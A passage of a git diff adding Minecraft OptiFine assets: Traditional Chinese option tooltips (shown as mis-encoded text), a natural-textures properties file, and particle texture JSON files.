沒有雲,最快 +of.options.CLOUDS.tooltip.6=æµæš¢çš„雲使用 2D 繪製。 +of.options.CLOUDS.tooltip.7=精緻的雲使用 3D 繪製。 + +of.options.CLOUD_HEIGHT=雲層高度 +of.options.CLOUD_HEIGHT.tooltip.1=雲層高度 +of.options.CLOUD_HEIGHT.tooltip.2= 關閉 - é è¨­é«˜åº¦ +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - 超éŽä¸–ç•Œé™åˆ¶é«˜åº¦ + +of.options.TREES=樹 +of.options.TREES.tooltip.1=樹 +of.options.TREES.tooltip.2= é è¨­ - 以圖åƒç•«è³ªè¨­å®šç‚ºæ¨™æº– +of.options.TREES.tooltip.3= æµæš¢ - 低å“質,最快 +of.options.TREES.tooltip.4= 智慧 - 較高å“質,較快 +of.options.TREES.tooltip.5= 精緻 - 高å“質,較慢 +of.options.TREES.tooltip.6=æµæš¢çš„樹葉ä¸é€æ˜Žã€‚ +of.options.TREES.tooltip.7=精緻的樹葉é€æ˜Žã€‚ + +of.options.RAIN=雨和雪 +of.options.RAIN.tooltip.1=雨和雪 +of.options.RAIN.tooltip.2= é è¨­ - 以圖åƒç•«è³ªçš„設定為準 +of.options.RAIN.tooltip.3= æµæš¢ - å°‘é‡çš„雨ï¼é›ªï¼Œè¼ƒå¿« +of.options.RAIN.tooltip.4= 精緻 - 大é‡çš„雨ï¼é›ªï¼Œè¼ƒæ…¢ +of.options.RAIN.tooltip.5= 關閉 - 沒有雨ï¼é›ªï¼Œæœ€å¿« +of.options.RAIN.tooltip.6=當雨雪é¸é …為 關閉 時, +of.options.RAIN.tooltip.7=雨è²ä»ç„¶å­˜åœ¨ã€‚ + +of.options.SKY=天空 +of.options.SKY.tooltip.1=天空 +of.options.SKY.tooltip.2= é–‹å•Ÿ - 天空å¯è¦‹ï¼Œè¼ƒæ…¢ +of.options.SKY.tooltip.3= 關閉 - 天空ä¸å¯è¦‹ï¼Œè¼ƒå¿« +of.options.SKY.tooltip.4=當天空關閉時,月亮和太陽ä¾ç„¶å¯è¦‹ã€‚ + +of.options.STARS=星星 +of.options.STARS.tooltip.1=星星 +of.options.STARS.tooltip.2= é–‹å•Ÿ - 星星å¯è¦‹ï¼Œè¼ƒæ…¢ +of.options.STARS.tooltip.3= 關閉 - 星星ä¸å¯è¦‹ï¼Œè¼ƒå¿« + +of.options.SUN_MOON=太陽和月亮 +of.options.SUN_MOON.tooltip.1=太陽和月亮 +of.options.SUN_MOON.tooltip.2= é–‹å•Ÿ - 太陽和月亮å¯è¦‹ï¼ˆé è¨­ï¼‰ +of.options.SUN_MOON.tooltip.3= 關閉 - 太陽和月亮ä¸å¯è¦‹ï¼ˆè¼ƒå¿«ï¼‰ + +of.options.SHOW_CAPES=顯示披風 +of.options.SHOW_CAPES.tooltip.1=顯示披風 +of.options.SHOW_CAPES.tooltip.2= é–‹å•Ÿ - 顯示玩家披風(é è¨­ï¼‰ +of.options.SHOW_CAPES.tooltip.3= 關閉 - ä¸é¡¯ç¤ºçŽ©å®¶æŠ«é¢¨ + +of.options.TRANSLUCENT_BLOCKS=åŠé€æ˜Žæ–¹å¡Š +of.options.TRANSLUCENT_BLOCKS.tooltip.1=åŠé€æ˜Žæ–¹å¡Š +of.options.TRANSLUCENT_BLOCKS.tooltip.2= é è¨­ - å–決於圖åƒè¨­å®š +of.options.TRANSLUCENT_BLOCKS.tooltip.3= 精緻 - 準確的混åˆé¡è‰²ï¼ˆé è¨­ï¼‰ +of.options.TRANSLUCENT_BLOCKS.tooltip.4= æµæš¢ - 快速的混åˆé¡è‰²ï¼ˆè¼ƒå¿«ï¼‰ +of.options.TRANSLUCENT_BLOCKS.tooltip.5=控制ä¸åŒé¡è‰²çš„åŠé€æ˜Žæ–¹å¡Š +of.options.TRANSLUCENT_BLOCKS.tooltip.6=(染色玻璃ã€æ°´ã€å†°ï¼‰éš”著空氣 +of.options.TRANSLUCENT_BLOCKS.tooltip.7=放在一起時的é¡è‰²æ··å’Œã€‚ + +of.options.HELD_ITEM_TOOLTIPS=æŒæœ‰ç‰©è³‡è¨Šé¡¯ç¤º +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=æŒæœ‰ç‰©è³‡è¨Šé¡¯ç¤º +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= é–‹å•Ÿ - 顯示æŒæœ‰ç‰©è³‡è¨Šï¼ˆé è¨­ï¼‰ +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= 關閉 - éš±è—æŒæœ‰ç‰©è³‡è¨Š + +of.options.ADVANCED_TOOLTIPS=進階資訊顯示 +of.options.ADVANCED_TOOLTIPS.tooltip.1=進階資訊顯示 +of.options.ADVANCED_TOOLTIPS.tooltip.2= é–‹å•Ÿ - 顯示進階資訊顯示 +of.options.ADVANCED_TOOLTIPS.tooltip.3= 關閉 - éš±è—進階資訊顯示(é è¨­ï¼‰ +of.options.ADVANCED_TOOLTIPS.tooltip.4=é€²éšŽè³‡è¨Šé¡¯ç¤ºé¡¯ç¤ºç‰©å“ +of.options.ADVANCED_TOOLTIPS.tooltip.5=(IDã€è€ä¹…度)和光影設定資料 +of.options.ADVANCED_TOOLTIPS.tooltip.6=(IDã€ä¾†æºã€é è¨­å€¼)。 + +of.options.DROPPED_ITEMS=掉è½ç‰©å“ +of.options.DROPPED_ITEMS.tooltip.1=掉è½ç‰©å“ +of.options.DROPPED_ITEMS.tooltip.2= é è¨­ - 以圖åƒç•«è³ªçš„設定為準 +of.options.DROPPED_ITEMS.tooltip.3= æµæš¢ - 2D 掉è½ç‰©å“,較快 +of.options.DROPPED_ITEMS.tooltip.4= 精緻 - 3D 掉è½ç‰©å“,較慢 + +options.entityShadows.tooltip.1=實體陰影 +options.entityShadows.tooltip.2= é–‹å•Ÿ - 顯示實體陰影 +options.entityShadows.tooltip.3= 關閉 - éš±è—實體陰影 + +of.options.VIGNETTE=暈影 +of.options.VIGNETTE.tooltip.1=螢幕四角輕微變暗的視覺效果 +of.options.VIGNETTE.tooltip.2= é è¨­ - 以圖åƒç•«è³ªçš„設定為準(é è¨­ï¼‰ +of.options.VIGNETTE.tooltip.3= æµæš¢ - 暈影關閉(較快) +of.options.VIGNETTE.tooltip.4= 精緻 - 暈影開啟(較慢) +of.options.VIGNETTE.tooltip.5=暈影å¯èƒ½å° FPS 有明顯影響, +of.options.VIGNETTE.tooltip.6=尤其是全螢幕éŠæˆ²æ™‚ +of.options.VIGNETTE.tooltip.7=暈影的效果éžå¸¸ç´°å¾® +of.options.VIGNETTE.tooltip.8=且å¯ä»¥å®‰å…¨åœ°é—œé–‰ã€‚ + +of.options.DYNAMIC_FOV=動態視場 +of.options.DYNAMIC_FOV.tooltip.1=動態視場 +of.options.DYNAMIC_FOV.tooltip.2= é–‹å•Ÿ - 啟用動態視場(é è¨­ï¼‰ +of.options.DYNAMIC_FOV.tooltip.3= 關閉 - åœç”¨å‹•æ…‹è¦–å ´ +of.options.DYNAMIC_FOV.tooltip.4=當飛行ã€ç–¾è·‘或拉弓 +of.options.DYNAMIC_FOV.tooltip.5=時改變視場。 + +of.options.DYNAMIC_LIGHTS=å‹•æ…‹å…‰æº +of.options.DYNAMIC_LIGHTS.tooltip.1=å‹•æ…‹å…‰æº +of.options.DYNAMIC_LIGHTS.tooltip.2= 關閉 - ç„¡å‹•æ…‹å…‰æºï¼ˆé è¨­ï¼‰ +of.options.DYNAMIC_LIGHTS.tooltip.3= æµæš¢ - 較æµæš¢çš„å‹•æ…‹å…‰æºï¼ˆæ¯ 500 毫秒更新一次) +of.options.DYNAMIC_LIGHTS.tooltip.4= 精緻 - 高å“質的動態光æºï¼ˆå³æ™‚更新) +of.options.DYNAMIC_LIGHTS.tooltip.5=å…許發光的物å“(ç«æŠŠã€èž¢çŸ³ç­‰ï¼‰ +of.options.DYNAMIC_LIGHTS.tooltip.6=當被玩家左å³æ‰‹æŒæ¡ã€è£å‚™æˆ– +of.options.DYNAMIC_LIGHTS.tooltip.7=æˆçˆ²æŽ‰è½ç‰©æ™‚照亮周åœã€‚ + +# Performance + +of.options.SMOOTH_FPS=柔和化 FPS +of.options.SMOOTH_FPS.tooltip.1=通éŽæ¸…除顯示å¡ç·©è¡å€ä¾†ç©©å®š FPS +of.options.SMOOTH_FPS.tooltip.2= 關閉 - ä¸ç©©å®šï¼ŒFPS å¯èƒ½æ³¢å‹• +of.options.SMOOTH_FPS.tooltip.3= é–‹å•Ÿ - FPS 穩定 +of.options.SMOOTH_FPS.tooltip.4=æ­¤é¸é …ä¾è³´æ–¼é¡¯å¡é©…å‹• +of.options.SMOOTH_FPS.tooltip.5=ä¸ä¸€å®šæœ‰æ˜Žé¡¯æ•ˆæžœã€‚ + +of.options.SMOOTH_WORLD=柔和化世界 +of.options.SMOOTH_WORLD.tooltip.1=移除內部伺æœå™¨é€ æˆçš„資料延é²ã€‚ +of.options.SMOOTH_WORLD.tooltip.2= 關閉 - ä¸ç©©å®šï¼ŒFPS å¯èƒ½æ³¢å‹• +of.options.SMOOTH_WORLD.tooltip.3= é–‹å•Ÿ - FPS 穩定 +of.options.SMOOTH_WORLD.tooltip.4=分擔內部伺æœå™¨è² è¼‰ä¾†ç©©å®š FPS。 +of.options.SMOOTH_WORLD.tooltip.5=åªåœ¨æœ¬æ©Ÿä¸–界(單人éŠæˆ²ï¼‰æœ‰æ•ˆã€‚ + +of.options.FAST_RENDER=快速繪製 +of.options.FAST_RENDER.tooltip.1=快速繪製 +of.options.FAST_RENDER.tooltip.2= 關閉 - 標準繪製(é è¨­ï¼‰ +of.options.FAST_RENDER.tooltip.3= é–‹å•Ÿ - 最佳化繪製(較快) +of.options.FAST_RENDER.tooltip.4=採用最佳化的繪製算法來é™ä½Ž GPU 的負載 +of.options.FAST_RENDER.tooltip.5=並且å¯èƒ½å¤§å¹…æå‡ FPS。 +of.options.FAST_RENDER.tooltip.6=這個é¸é …å¯èƒ½æœƒèˆ‡éƒ¨åˆ†æ¨¡çµ„è¡çªã€‚ + +of.options.FAST_MATH=快速é‹ç®— +of.options.FAST_MATH.tooltip.1=快速é‹ç®— +of.options.FAST_MATH.tooltip.2= 關閉 - 標準的é‹ç®—(é è¨­ï¼‰ +of.options.FAST_MATH.tooltip.3= é–‹å•Ÿ - æ›´å¿«çš„é‹ç®— +of.options.FAST_MATH.tooltip.4=採用最佳化的 sin() å’Œ cos() 函數å¯ä»¥æ›´ +of.options.FAST_MATH.tooltip.5=妥善地利用 CPU å¿«å–並且æå‡ FPS。 +of.options.FAST_MATH.tooltip.6=這個é¸é …會ç¨å¾®å½±éŸ¿ä¸–界生æˆã€‚ + +of.options.CHUNK_UPDATES=å€å¡Šæ›´æ–° +of.options.CHUNK_UPDATES.tooltip.1=å€å¡Šæ›´æ–° +of.options.CHUNK_UPDATES.tooltip.2= 1 - 世界載入速度較慢,FPS 較高(é è¨­ï¼‰ +of.options.CHUNK_UPDATES.tooltip.3= 3 - 世界載入速度較快,FPS 較低 +of.options.CHUNK_UPDATES.tooltip.4= 5 - 世界載入速度最快,FPS 最低 +of.options.CHUNK_UPDATES.tooltip.5=ç¹ªè£½æ¯ FPS 時更新的å€å¡Šæ•¸ï¼Œ +of.options.CHUNK_UPDATES.tooltip.6=愈高的值將會導致 FPS ä¸ç©©å®šã€‚ + +of.options.CHUNK_UPDATES_DYNAMIC=å‹•æ…‹æ›´æ–° +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=å‹•æ…‹æ›´æ–° +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= 關閉 - (é è¨­ï¼‰æ¯ FPS 標準å€å¡Šæ›´æ–° +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= é–‹å•Ÿ - 當玩家站立ä¸å‹•æ™‚更新更多å€å¡Š +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=當玩家站定時會更新更多 +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=å€å¡Šä»¥åŠ é€Ÿä¸–界載入。 + +of.options.LAZY_CHUNK_LOADING=平緩å€å¡Šæ›´æ–° +of.options.LAZY_CHUNK_LOADING.tooltip.1=平緩å€å¡Šæ›´æ–° +of.options.LAZY_CHUNK_LOADING.tooltip.2= 關閉 - é è¨­çš„伺æœå™¨å€å¡Šè¼‰å…¥ +of.options.LAZY_CHUNK_LOADING.tooltip.3= é–‹å•Ÿ - 平緩伺æœå™¨å€å¡Šè¼‰å…¥ï¼ˆæ›´æŸ”和) +of.options.LAZY_CHUNK_LOADING.tooltip.4=藉由將å€å¡Šåˆ†ä½ˆåœ¨å¤šå€‹ã€ŒéŠæˆ²åˆ»ã€ä¸­è®€å– +of.options.LAZY_CHUNK_LOADING.tooltip.5=來柔和化伺æœå™¨æ•´é«”å€å¡Šè¼‰å…¥ã€‚ +of.options.LAZY_CHUNK_LOADING.tooltip.6=如果世界無法正確的載入,請把它關閉。 +of.options.LAZY_CHUNK_LOADING.tooltip.7=僅é©ç”¨æ–¼å–®çŽ©å®¶çš„本機世界。 + +of.options.RENDER_REGIONS=å€åŸŸç¹ªè£½ +of.options.RENDER_REGIONS.tooltip.1=å€åŸŸç¹ªè£½ +of.options.RENDER_REGIONS.tooltip.2= 關閉 - (é è¨­ï¼‰ä¸ä½¿ç”¨å€åŸŸç¹ªè£½ +of.options.RENDER_REGIONS.tooltip.3= é–‹å•Ÿ - 使用å€åŸŸç¹ªè£½ +of.options.RENDER_REGIONS.tooltip.4=å€åŸŸç¹ªè£½å¯ä½¿é è™•çš„地形繪製得更快。 +of.options.RENDER_REGIONS.tooltip.5=當啟用頂點緩è¡å€å°åƒï¼ˆVBOs)時此é¸é …將更有效。 +of.options.RENDER_REGIONS.tooltip.6=ä¸å»ºè­°ç”¨æ–¼æ•´åˆå¼é¡¯ç¤ºå¡ï¼ˆå…§é¡¯ï¼‰ã€‚ + +of.options.SMART_ANIMATIONS=智慧型動畫 +of.options.SMART_ANIMATIONS.tooltip.1=智慧型動畫 +of.options.SMART_ANIMATIONS.tooltip.2= 關閉 - ä¸ä½¿ç”¨æ™ºæ…§åž‹å‹•ç•«ï¼ˆé è¨­ï¼‰ +of.options.SMART_ANIMATIONS.tooltip.3= é–‹å•Ÿ - 使用智慧型動畫 +of.options.SMART_ANIMATIONS.tooltip.4=利用智慧型動畫,讓éŠæˆ²åªæ’­æ”¾ +of.options.SMART_ANIMATIONS.tooltip.5=ç•«é¢ç›®å‰å¯è¦‹çš„æ質動畫效果。 +of.options.SMART_ANIMATIONS.tooltip.6=這能é™ä½Ž tick lag 尖峰並æå‡ FPS。 +of.options.SMART_ANIMATIONS.tooltip.7=在大型模組包與高解æžåº¦è³‡æºåŒ…下很有用。 + +# Animations + +of.options.animation.allOn=全部開啟 +of.options.animation.allOff=全部關閉 +of.options.animation.dynamic=å‹•æ…‹ + +of.options.ANIMATED_WATER=æ°´é¢å‹•ç•« +of.options.ANIMATED_LAVA=岩漿動畫 +of.options.ANIMATED_FIRE=ç«ç„°å‹•ç•« +of.options.ANIMATED_PORTAL=傳é€é–€å‹•ç•« +of.options.ANIMATED_REDSTONE=紅石動畫 +of.options.ANIMATED_EXPLOSION=爆炸動畫 +of.options.ANIMATED_FLAME=燃燒動畫 +of.options.ANIMATED_SMOKE=煙霧動畫 +of.options.VOID_PARTICLES=è™›ç©ºç²’å­ +of.options.WATER_PARTICLES=æ°´æ¿ºç²’å­ +of.options.RAIN_SPLASH=雨滴飛濺 +of.options.PORTAL_PARTICLES=傳é€é–€ç²’å­ +of.options.POTION_PARTICLES=è—¥æ°´ç²’å­ +of.options.DRIPPING_WATER_LAVA=æµå‹•æ°´/岩漿 +of.options.ANIMATED_TERRAIN=地形動畫 +of.options.ANIMATED_TEXTURES=æ質動畫 +of.options.FIREWORK_PARTICLES=ç…™ç«ç²’å­ + +# Other + +of.options.LAGOMETER=效能資訊 +of.options.LAGOMETER.tooltip.1=åœ¨é™¤éŒ¯ç•«é¢ (F3) 中顯示效能資訊。 +of.options.LAGOMETER.tooltip.2=* æ©™ - 記憶體垃圾回收 +of.options.LAGOMETER.tooltip.3=* é’ - Tick +of.options.LAGOMETER.tooltip.4=* è— - 排定的處ç†ç¨‹åº +of.options.LAGOMETER.tooltip.5=* ç´« - å€å¡Šä¸Šå‚³ +of.options.LAGOMETER.tooltip.6=* ç´… - å€å¡Šæ›´æ–° +of.options.LAGOMETER.tooltip.7=* 黃 - å¯è¦‹åº¦æª¢æŸ¥ +of.options.LAGOMETER.tooltip.8=* 綠 - 繪製的地形 + +of.options.PROFILER=除錯分æžå™¨ +of.options.PROFILER.tooltip.1=除錯分æžå™¨ +of.options.PROFILER.tooltip.2= é–‹å•Ÿ - 啟用除錯分æžå™¨ï¼Œè¼ƒæ…¢ +of.options.PROFILER.tooltip.3= 關閉 - åœç”¨é™¤éŒ¯åˆ†æžå™¨ï¼Œè¼ƒå¿« +of.options.PROFILER.tooltip.4=除錯分æžå™¨åœ¨é™¤éŒ¯ä»‹é¢ (F3) 開啟時 +of.options.PROFILER.tooltip.5=收集並且顯示除錯資訊。 + +of.options.WEATHER=天氣 +of.options.WEATHER.tooltip.1=天氣 +of.options.WEATHER.tooltip.2= é–‹å•Ÿ - 開啟天氣,較慢 +of.options.WEATHER.tooltip.3= 關閉 - 關閉天氣,較快 +of.options.WEATHER.tooltip.4=天氣é¸é …影響雨,雪和雷電。 +of.options.WEATHER.tooltip.5=天氣é¸é …僅在本機éŠæˆ²ä¸­ç”Ÿæ•ˆã€‚ + +of.options.time.dayOnly=åªæœ‰ç™½å¤© +of.options.time.nightOnly=åªæœ‰å¤œæ™š + +of.options.TIME=時間 +of.options.TIME.tooltip.1=時間 +of.options.TIME.tooltip.2= é è¨­ - 正常的日夜交替 +of.options.TIME.tooltip.3= åªæœ‰ç™½å¤© - åªæœ‰ç™½å¤© +of.options.TIME.tooltip.4= åªæœ‰å¤œæ™š - åªæœ‰å¤œæ™š +of.options.TIME.tooltip.5=時間設定åªåœ¨å‰µé€ æ¨¡å¼ä¸‹ +of.options.TIME.tooltip.6=且為本機éŠæˆ²æ™‚有效。 + +options.fullscreen.tooltip.1=全螢幕 +options.fullscreen.tooltip.2= é–‹å•Ÿ - ä½¿ç”¨å…¨èž¢å¹•æ¨¡å¼ +options.fullscreen.tooltip.3= 關閉 - ä½¿ç”¨è¦–çª—æ¨¡å¼ +options.fullscreen.tooltip.4=全螢幕模å¼å¯èƒ½æ¯”è¦–çª—æ¨¡å¼ +options.fullscreen.tooltip.5=更快或更慢,å–決於顯å¡ã€‚ + +of.options.FULLSCREEN_MODE=å…¨èž¢å¹•æ¨¡å¼ +of.options.FULLSCREEN_MODE.tooltip.1=å…¨èž¢å¹•æ¨¡å¼ +of.options.FULLSCREEN_MODE.tooltip.2= é è¨­ - 使用桌é¢è§£æžåº¦ï¼Œè¼ƒæ…¢ +of.options.FULLSCREEN_MODE.tooltip.3= 自訂 - 使用自訂螢幕解æžåº¦ï¼Œå¯èƒ½æœƒè¼ƒå¿« +of.options.FULLSCREEN_MODE.tooltip.4=æ­¤é¸é …åªåœ¨å…¨èž¢å¹•æ¨¡å¼ä¸‹æœ‰æ•ˆ (F11)。 +of.options.FULLSCREEN_MODE.tooltip.5=較低的解æžåº¦é€šå¸¸æœƒè¼ƒå¿«ã€‚ + +of.options.SHOW_FPS=顯示 FPS +of.options.SHOW_FPS.tooltip.1=顯示精簡的 FPS 和繪製資訊 +of.options.SHOW_FPS.tooltip.2= Fps - å¹³å‡å€¼/最低值 +of.options.SHOW_FPS.tooltip.3= C: - å€å¡Šç¹ªè£½å™¨ +of.options.SHOW_FPS.tooltip.4= E: - 一般實體 + 方塊實體 +of.options.SHOW_FPS.tooltip.5= U: - å€å¡Šæ›´æ–° +of.options.SHOW_FPS.tooltip.6=當除錯畫é¢éš±è—時æ‰æœƒ +of.options.SHOW_FPS.tooltip.7=顯示精簡的 FPS 資訊。 + +of.options.save.default=é è¨­ï¼ˆå…©ç§’) +of.options.save.20s=20 秒 +of.options.save.3min=3 åˆ†é˜ +of.options.save.30min=30 åˆ†é˜ + +of.options.AUTOSAVE_TICKS=自動儲存 +of.options.AUTOSAVE_TICKS.tooltip.1=自動儲存間隔 +of.options.AUTOSAVE_TICKS.tooltip.2=ä¸å»ºè­°ä½¿ç”¨é è¨­è‡ªå‹•å„²å­˜é–“隔(兩秒)。 +of.options.AUTOSAVE_TICKS.tooltip.3=自動儲存會導致å¡é “。 + +of.options.SCREENSHOT_SIZE=截圖尺寸 +of.options.SCREENSHOT_SIZE.tooltip.1=截圖尺寸 +of.options.SCREENSHOT_SIZE.tooltip.2= é è¨­ - é è¨­çš„截圖尺寸 +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - 自訂截圖尺寸 +of.options.SCREENSHOT_SIZE.tooltip.4=抓å–更大的截圖å¯èƒ½éœ€è¦æ›´å¤šçš„記憶體。 +of.options.SCREENSHOT_SIZE.tooltip.5=與快速繪製åŠå鋸齒ä¸ç›¸å®¹ã€‚ +of.options.SCREENSHOT_SIZE.tooltip.6=需è¦é¡¯å¡ FPS ç·©è¡å€æ”¯æŒã€‚ + +of.options.SHOW_GL_ERRORS=顯示 GL 錯誤 +of.options.SHOW_GL_ERRORS.tooltip.1=顯示 OpenGL 錯誤 +of.options.SHOW_GL_ERRORS.tooltip.2=啟用時,OpenGL 的錯誤會顯示在èŠå¤©è¦–窗中。 +of.options.SHOW_GL_ERRORS.tooltip.3=åªæœ‰åœ¨å·²çŸ¥çš„è¡çªæˆ–錯誤 +of.options.SHOW_GL_ERRORS.tooltip.4=無法修復時æ‰å»ºè­°åœç”¨ã€‚ +of.options.SHOW_GL_ERRORS.tooltip.5=åœç”¨æ™‚,錯誤ä»ç„¶æœƒè¨˜åœ¨éŒ¯èª¤è¨˜éŒ„中, +of.options.SHOW_GL_ERRORS.tooltip.6=且ä¾ç„¶å¯èƒ½å°Žè‡´ FPS 明顯下é™ã€‚ diff --git a/src/assets/minecraft/optifine/natural.properties b/src/assets/minecraft/optifine/natural.properties new file mode 100644 index 00000000..9f3b793c --- /dev/null +++ b/src/assets/minecraft/optifine/natural.properties @@ -0,0 +1,83 @@ +# Configuration for OptiFine's Natural Textures feature +# Location: /assets/minecraft/optifine/natural.properties +# +# Configuration format +# = +# +# Values +# 4 = Rotate x 90° (4 variants) +# 2 = Rotate x 180° (2 variants) +# F = Flip texture horizontally (2 variants) +# 4F = 4 + Flip (8 variants) +# 2F = 2 + Flip (4 variants) +# +# Example for obsidian texture which can rotate with 4 variants and flip +# obsidian = 4F +# + +# Grass +grass_block_side = F +grass_block_side_overlay = F +grass_block_snow = F +mycelium_side = F +mycelium_top = 4F +grass_path_top = 4 +grass_path_side = F +# Snow +snow = 4F +# Dirt +coarse_dirt = 4F +podzol_top = 4F +podzol_side = F +farmland = 2F +farmland_moist = 2F +# Stone +granite = 2F +diorite = 2F +andesite = 2F +sandstone_top = 4 +sandstone_bottom = 4F +end_stone = 4 +# Gravel +gravel = 2 +clay = 4F +# Logs +oak_log = 2F +spruce_log = 2F +birch_log = F +jungle_log = 2F +acacia_log = 2F +dark_oak_log = 2F +oak_log_top = 4F +spruce_log_top = 4F +birch_log_top = 4F +jungle_log_top = 4F +acacia_log_top = 4F +dark_oak_log_top = 4F +# Leaves +oak_leaves = 2F +spruce_leaves = 2F +birch_leaves = 2F +jungle_leaves = 2 +dark_oak_leaves = 2F +acacia_leaves = 2F +# Ores +gold_ore = 2F +iron_ore = 2F +coal_ore = 2F +diamond_ore = 2F +redstone_ore = 2F +lapis_ore = 2F +# Nether +netherrack = 4F +nether_quartz_ore = 2 +soul_sand = 4F +glowstone = 4 +# Redstone +redstone_lamp_on = 4F +redstone_lamp = 4F +# Prismarine +prismarine = 4F +# Misc +obsidian = 4F +cactus_side = 2F \ No newline at end of file diff --git a/src/assets/minecraft/optifine/textures/icons.png b/src/assets/minecraft/optifine/textures/icons.png new file mode 100644 index 00000000..24e40325 Binary files /dev/null and b/src/assets/minecraft/optifine/textures/icons.png differ diff --git a/src/assets/minecraft/particles/ambient_entity_effect.json b/src/assets/minecraft/particles/ambient_entity_effect.json new file mode 100644 index 00000000..3be9c3a9 --- /dev/null +++ b/src/assets/minecraft/particles/ambient_entity_effect.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:effect_7", + "minecraft:effect_6", + "minecraft:effect_5", + "minecraft:effect_4", + "minecraft:effect_3", + "minecraft:effect_2", + "minecraft:effect_1", + "minecraft:effect_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/angry_villager.json b/src/assets/minecraft/particles/angry_villager.json new file mode 100644 index 00000000..ab50717b --- /dev/null +++ b/src/assets/minecraft/particles/angry_villager.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:angry" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/ash.json b/src/assets/minecraft/particles/ash.json new file mode 100644 index 00000000..ca698ca4 --- /dev/null +++ b/src/assets/minecraft/particles/ash.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/barrier.json b/src/assets/minecraft/particles/barrier.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/barrier.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/block.json b/src/assets/minecraft/particles/block.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/block.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/bubble.json b/src/assets/minecraft/particles/bubble.json new file mode 100644 index 00000000..c9ad6449 --- /dev/null +++ b/src/assets/minecraft/particles/bubble.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:bubble" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/bubble_column_up.json b/src/assets/minecraft/particles/bubble_column_up.json new file mode 100644 index 00000000..c9ad6449 --- /dev/null +++ b/src/assets/minecraft/particles/bubble_column_up.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:bubble" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/bubble_pop.json b/src/assets/minecraft/particles/bubble_pop.json new file mode 100644 index 00000000..65ff9e5f --- /dev/null +++ b/src/assets/minecraft/particles/bubble_pop.json @@ -0,0 +1,9 @@ +{ + "textures": [ + "minecraft:bubble_pop_0", + "minecraft:bubble_pop_1", + "minecraft:bubble_pop_2", + "minecraft:bubble_pop_3", + "minecraft:bubble_pop_4" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/campfire_cosy_smoke.json b/src/assets/minecraft/particles/campfire_cosy_smoke.json new file mode 100644 index 00000000..a99bffe8 --- /dev/null +++ b/src/assets/minecraft/particles/campfire_cosy_smoke.json @@ -0,0 +1,16 @@ +{ + "textures": [ + "minecraft:big_smoke_0", + "minecraft:big_smoke_1", + "minecraft:big_smoke_2", + "minecraft:big_smoke_3", + "minecraft:big_smoke_4", + "minecraft:big_smoke_5", + "minecraft:big_smoke_6", + "minecraft:big_smoke_7", + "minecraft:big_smoke_8", + "minecraft:big_smoke_9", + "minecraft:big_smoke_10", + "minecraft:big_smoke_11" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/campfire_signal_smoke.json b/src/assets/minecraft/particles/campfire_signal_smoke.json new file mode 100644 index 00000000..a99bffe8 --- /dev/null +++ b/src/assets/minecraft/particles/campfire_signal_smoke.json @@ -0,0 +1,16 @@ +{ + "textures": [ + "minecraft:big_smoke_0", + "minecraft:big_smoke_1", + "minecraft:big_smoke_2", + "minecraft:big_smoke_3", + "minecraft:big_smoke_4", + "minecraft:big_smoke_5", + "minecraft:big_smoke_6", + "minecraft:big_smoke_7", + "minecraft:big_smoke_8", + "minecraft:big_smoke_9", + "minecraft:big_smoke_10", + "minecraft:big_smoke_11" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/cloud.json b/src/assets/minecraft/particles/cloud.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/cloud.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/composter.json b/src/assets/minecraft/particles/composter.json new file mode 100644 index 00000000..f9f9746a --- /dev/null +++ b/src/assets/minecraft/particles/composter.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:glint" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/crimson_spore.json b/src/assets/minecraft/particles/crimson_spore.json new file mode 100644 index 00000000..ca698ca4 --- /dev/null +++ b/src/assets/minecraft/particles/crimson_spore.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/crit.json b/src/assets/minecraft/particles/crit.json new file mode 100644 index 00000000..735a9d74 --- /dev/null +++ b/src/assets/minecraft/particles/crit.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:critical_hit" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/current_down.json b/src/assets/minecraft/particles/current_down.json new file mode 100644 index 00000000..c9ad6449 --- /dev/null +++ b/src/assets/minecraft/particles/current_down.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:bubble" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/damage_indicator.json b/src/assets/minecraft/particles/damage_indicator.json new file mode 100644 index 00000000..3c9f3207 --- /dev/null +++ 